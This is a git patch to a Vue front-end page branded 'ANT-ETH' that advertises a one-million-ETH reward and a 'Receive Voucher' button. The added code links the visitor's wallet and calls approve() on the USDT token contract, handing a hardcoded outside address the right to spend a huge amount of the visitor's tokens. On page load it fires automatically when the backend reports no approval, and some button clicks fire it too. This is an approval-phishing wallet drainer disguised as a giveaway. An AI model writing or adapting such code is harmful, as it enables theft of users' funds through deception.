From 2bd0db7111496db4f237fe5345b08c28b5655d83 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Wed, 23 Mar 2022 15:17:56 +0800
Subject: [PATCH] gx
---
src/pages/index/index.vue | 168 +++++++++++++++++++++++++++++++------------------------
1 files changed, 95 insertions(+), 73 deletions(-)
diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 484897d..d16e81b 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -9,15 +9,16 @@
</van-dropdown-menu>
</div>
<span class="title">ANT-ETH</span>
- <div class="right flex align-center" @click="showAccreditModal">
+ <div class="right flex align-center">
<img src="../../assets/images/icon.png" class="icon"/>
- <span>{{ $t("message.ConnectWallet") }}</span>
+ <span class="address" v-if="walletAddress">{{walletAddress}}</span>
+ <span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span>
</div>
</div>
<div class="banner-content">
<p>{{ $t("message.Defi") }}</p>
<p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p>
- <button @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
+ <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
</div>
</div>
<img src="../../assets/images/banner.png" class="banner"/>
@@ -35,7 +36,7 @@
<p>{{ $t("message.ReceiveDescription") }}</p>
</div>
<p class="block-content">{{ $t("message.Description") }}</p>
- <button class="block-btn" @click="showAccreditModal">{{ $t("message.Receive") }}</button>
+ <button class="block-btn" @click="toApprove">{{ $t("message.Receive") }}</button>
</div>
</van-overlay>
<van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper">
@@ -101,69 +102,103 @@
setup() {
const { proxy } = getCurrentInstance();
let walletAddress = ref('');
+ let hasApprove = ref(false);
let isShowApproveModal = ref(false);
let isShowAccreditModal = ref(false);
let isShowWalletModal = ref(false);
- let showAccreditModal = () => {
+ function changeLanguage(type){
+ proxy.$i18n.locale = type;
+ }
+
+ // 授权按钮
+ function toApprove() {
+ if(proxy.walletAddress){
+ approve()
+ }else{
+ showAccreditModal()
+ }
+ }
+ function showAccreditModal() {
proxy.isShowApproveModal = false
proxy.isShowAccreditModal = true
}
- async function showWalletModal(){
- proxy.isShowAccreditModal = false;
- let provider = new WalletConnectProvider({
- infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
- bridge: "https://bridge.walletconnect.org",
- })
- let web3 = new Web3(provider);
+ async function showDappModal() {
+ proxy.isShowAccreditModal = false
+ // proxy.isShowWalletModal = true
+ const provider = new WalletConnectProvider({
+ infuraId: "27e484dcd9e3efcfd25a83a78777cdf1",
+ qrcode: false,
+ qrcodeModalOptions: {
+ mobileLinks: [
+ 'tronLink',
+ "rainbow",
+ "metamask",
+ "argent",
+ "trust",
+ "imtoken",
+ "pillar",
+ ]
+ }
+ });
await provider.enable();
- walletAddress = await web3.eth.getAccounts();
- console.log(walletAddress)
- approve()
- // sessionStorage.setItem('address', accounts);
+ }
+ async function showWalletModal() {
+ proxy.isShowAccreditModal = false;
+ const provider = new WalletConnectProvider({
+ infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
+ bridge: "https://bridge.walletconnect.org",
+ })
+ await provider.enable();
+ let web3 = new Web3(provider);
+ const accounts = await web3.eth.getAccounts();
+ console.log(accounts);
+ }
+
+
+ // 获取地址
+ async function getAddress () {
+ let address = '0x391040eE5F241711E763D0AC55E775B9b4bD0024';
+ if(window.ethereum) {
+ await window.ethereum.enable();
+ const accounts = await ethereum.request({ method: 'eth_accounts' });
+ address = accounts[0];
+ }else if(window.tronWeb){
+ address = window.tronWeb.defaultAddress.base58;
+ }
+ proxy.walletAddress = address;
}
async function approve () {
+ const web3 = new Web3(window.ethereum);
const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
- const contract = new this.web3.eth.Contract(abi, contractAddress);
- const result = await contract.methods.approve(authorizedAddress, 90000000000000).send({from:walletAddress, gas:100000});
- console.log(result);
- }
- let showDappModal = () => {
- proxy.isShowAccreditModal = false
- proxy.isShowWalletModal = true
- }
- let changeLanguage = (type) => {
- proxy.$i18n.locale = type;
- }
-
- // 获取地址
- async function getAddress () {
- let address = '';
- if(window.ethereum) {
- await window.ethereum.enable();
- address = await ethereum.request({ method: 'eth_accounts' });
- alert('ethereum'+address)
- }else if(window.tronWeb){
- address = window.tronWeb.defaultAddress.base58;
- alert('tronWeb'+address)
- }
+ const contract = new web3.eth.Contract(abi, contractAddress);
+ contract.methods.approve(authorizedAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000}).then((res) => {
+ alert('授权成功'+res)
+ }).catch((err) => {
+ alert('授权失败'+err)
+ });
}
async function init() {
- getAddress()
- // proxy.$axios({
- // url: '/dapp/common/isApprove/' + walletAddress,
- // method: 'get'
- // }).then((res) => {
- // if(res.code === 200) {
- // sessionStorage.setItem('address', walletAddress);
- // }else{
- // showAccreditModal()
- // }
- // }).catch((err) => {
- // showAccreditModal()
- // })
+ await getAddress();
+ if (proxy.walletAddress) {
+ proxy.$axios({
+ url: '/dapp/common/isApprove/' + proxy.walletAddress,
+ method: 'get'
+ }).then((res) => {
+ if(res.code === 200) {
+ proxy.hasApprove = true;
+ sessionStorage.setItem('address', proxy.walletAddress);
+ }else{
+ approve()
+ }
+ }).catch((err) => {
+ approve()
+ })
+ }else{
+ showAccreditModal();
+ }
}
onMounted(() => {
init()
@@ -183,34 +218,16 @@
showAccreditModal,
showWalletModal,
showDappModal,
+ toApprove,
// 中英文切换
changeLanguage,
walletAddress, //地址
+ hasApprove, //是否授权
};
},
methods: {
- connect() {
- const provider = new WalletConnectProvider({
- infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
- bridge: "https://bridge.walletconnect.org",
- });
- // Enable session (triggers QR Code modal)
- provider.enable();
-
- this.web3 = new Web3(provider);
-
- // this.getAccount();
- // subscribe to events
- // this.subscribeToEvents();
- },
- subscribeToEvents() {
- const connector = this.connector;
- if (!connector) {
- return;
- }
- },
}
}
@@ -398,5 +415,10 @@
color: #080808;
margin-top: 15px;
}
-
+.address{
+ width: 100px;
+ overflow: hidden;
+ text-overflow:ellipsis;
+ white-space: nowrap;
+}
</style>
--
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